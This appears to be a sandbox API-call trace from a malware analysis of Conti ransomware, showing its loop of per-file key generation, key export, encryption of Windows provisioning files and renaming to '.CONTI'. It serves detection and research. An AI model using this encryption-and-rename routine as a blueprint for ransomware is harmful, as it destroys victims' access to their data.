	[0112.056] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34c
	[0112.056] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.056] SetEndOfFile (hFile=0x3cc) returned 1
	[0112.056] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.056] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.056] WriteFile (in: hFile=0x3cc, lpBuffer=0x180fe84*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x180fe84*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0112.062] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.062] ReadFile (in: hFile=0x3cc, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x34c, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x34c, lpOverlapped=0x0) returned 1
	[0112.063] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x34c, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x350) returned 1
	[0112.063] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.063] WriteFile (in: hFile=0x3cc, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x350, lpOverlapped=0x0) returned 1
	[0112.063] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.063] WriteFile (in: hFile=0x3cc, lpBuffer=0x180fe78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x180fe78*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0112.063] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.063] CloseHandle (hObject=0x3cc) returned 1
	[0112.063] GetProcessHeap () returned 0x1720000
	[0112.063] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.063] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml"
	[0112.063] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.063] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\478__connections_cellular_vodafone uk (united kingdom)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\478__connections_cellular_vodafone uk (united kingdom)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.064] GetProcessHeap () returned 0x1720000
	[0112.064] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.064] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0112.064] GetProcessHeap () returned 0x1720000
	[0112.064] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65750b0 | out: hHeap=0x1720000) returned 1
	[0112.064] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0112.064] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x180f560 | out: phKey=0x180f560*=0x6b7f478) returned 1
	[0112.064] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x180f564, pdwDataLen=0x573fb4c | out: pbData=0x180f564*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0112.065] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\47__connections_cellular_orange (belgium)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0112.065] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\47__connections_cellular_orange (belgium)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0112.065] GetLastError () returned 0x0
	[0112.065] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=716) returned 1
	[0112.065] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cc
	[0112.065] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.065] SetEndOfFile (hFile=0x3cc) returned 1
	[0112.066] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.066] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.066] WriteFile (in: hFile=0x3cc, lpBuffer=0x180f564*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x180f564*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0112.072] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.072] ReadFile (in: hFile=0x3cc, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x2cc, lpOverlapped=0x0) returned 1
	[0112.072] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2cc, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2d0) returned 1
	[0112.072] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.072] WriteFile (in: hFile=0x3cc, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x2d0, lpOverlapped=0x0) returned 1
	[0112.072] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.072] WriteFile (in: hFile=0x3cc, lpBuffer=0x180f558*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x180f558*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0112.073] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.073] CloseHandle (hObject=0x3cc) returned 1
	[0112.073] GetProcessHeap () returned 0x1720000
	[0112.073] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.073] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml"
	[0112.073] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml.CONTI"
	[0112.073] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\47__connections_cellular_orange (belgium)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\47__connections_cellular_orange (belgium)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0112.073] GetProcessHeap () returned 0x1720000
	[0112.074] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.074] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0112.074] GetProcessHeap () returned 0x1720000
	[0112.074] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180a570 | out: hHeap=0x1720000) returned 1
	[0112.074] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0112.074] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x180e568 | out: phKey=0x180e568*=0x6b7f038) returned 1
	[0112.074] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x180e56c, pdwDataLen=0x573fb4c | out: pbData=0x180e56c*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0112.074] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\481__connections_cellular_vodafone uk (united kingdom)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0112.075] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\481__connections_cellular_vodafone uk (united kingdom)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0112.075] GetLastError () returned 0x0
	[0112.075] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=851) returned 1
	[0112.075] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x353
	[0112.075] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.075] SetEndOfFile (hFile=0x3cc) returned 1
	[0112.075] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.075] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.075] WriteFile (in: hFile=0x3cc, lpBuffer=0x180e56c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x180e56c*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0112.082] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.082] ReadFile (in: hFile=0x3cc, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x353, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x353, lpOverlapped=0x0) returned 1
	[0112.082] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x353, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x360) returned 1
	[0112.082] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.082] WriteFile (in: hFile=0x3cc, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x360, lpOverlapped=0x0) returned 1
	[0112.082] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.082] WriteFile (in: hFile=0x3cc, lpBuffer=0x180e560*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x180e560*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0112.082] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.082] CloseHandle (hObject=0x3cc) returned 1
	[0112.082] GetProcessHeap () returned 0x1720000
	[0112.082] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.082] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml"
	[0112.082] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml.CONTI"
	[0112.082] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\481__connections_cellular_vodafone uk (united kingdom)_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\481__connections_cellular_vodafone uk (united kingdom)_i3$(__mvid)@wap.provxml.conti")) returned 1
	[0112.083] GetProcessHeap () returned 0x1720000
	[0112.083] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.083] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0112.083] GetProcessHeap () returned 0x1720000
	[0112.083] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1815580 | out: hHeap=0x1720000) returned 1
	[0112.083] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0112.083] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x1810310 | out: phKey=0x1810310*=0x6b7f538) returned 1
	[0112.083] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x1810314, pdwDataLen=0x573fb4c | out: pbData=0x1810314*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0112.084] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\483__connections_cellular_vodafone uk (united kingdom)_i5$(__mvid)@wap.provxml")) returned 0x20
	[0112.084] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\483__connections_cellular_vodafone uk (united kingdom)_i5$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0112.084] GetLastError () returned 0x0
	[0112.084] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=861) returned 1
	[0112.085] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x35d
	[0112.085] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.085] SetEndOfFile (hFile=0x3cc) returned 1
	[0112.085] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.085] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.085] WriteFile (in: hFile=0x3cc, lpBuffer=0x1810314*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x1810314*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0112.809] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.809] ReadFile (in: hFile=0x3cc, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x35d, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x35d, lpOverlapped=0x0) returned 1
	[0112.809] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x35d, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x360) returned 1
	[0112.810] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.810] WriteFile (in: hFile=0x3cc, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x360, lpOverlapped=0x0) returned 1
	[0112.810] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.810] WriteFile (in: hFile=0x3cc, lpBuffer=0x1810308*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x1810308*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0112.810] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.810] CloseHandle (hObject=0x3cc) returned 1
	[0112.822] GetProcessHeap () returned 0x1720000
	[0112.822] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.764] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml"
	[0113.764] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml.CONTI"
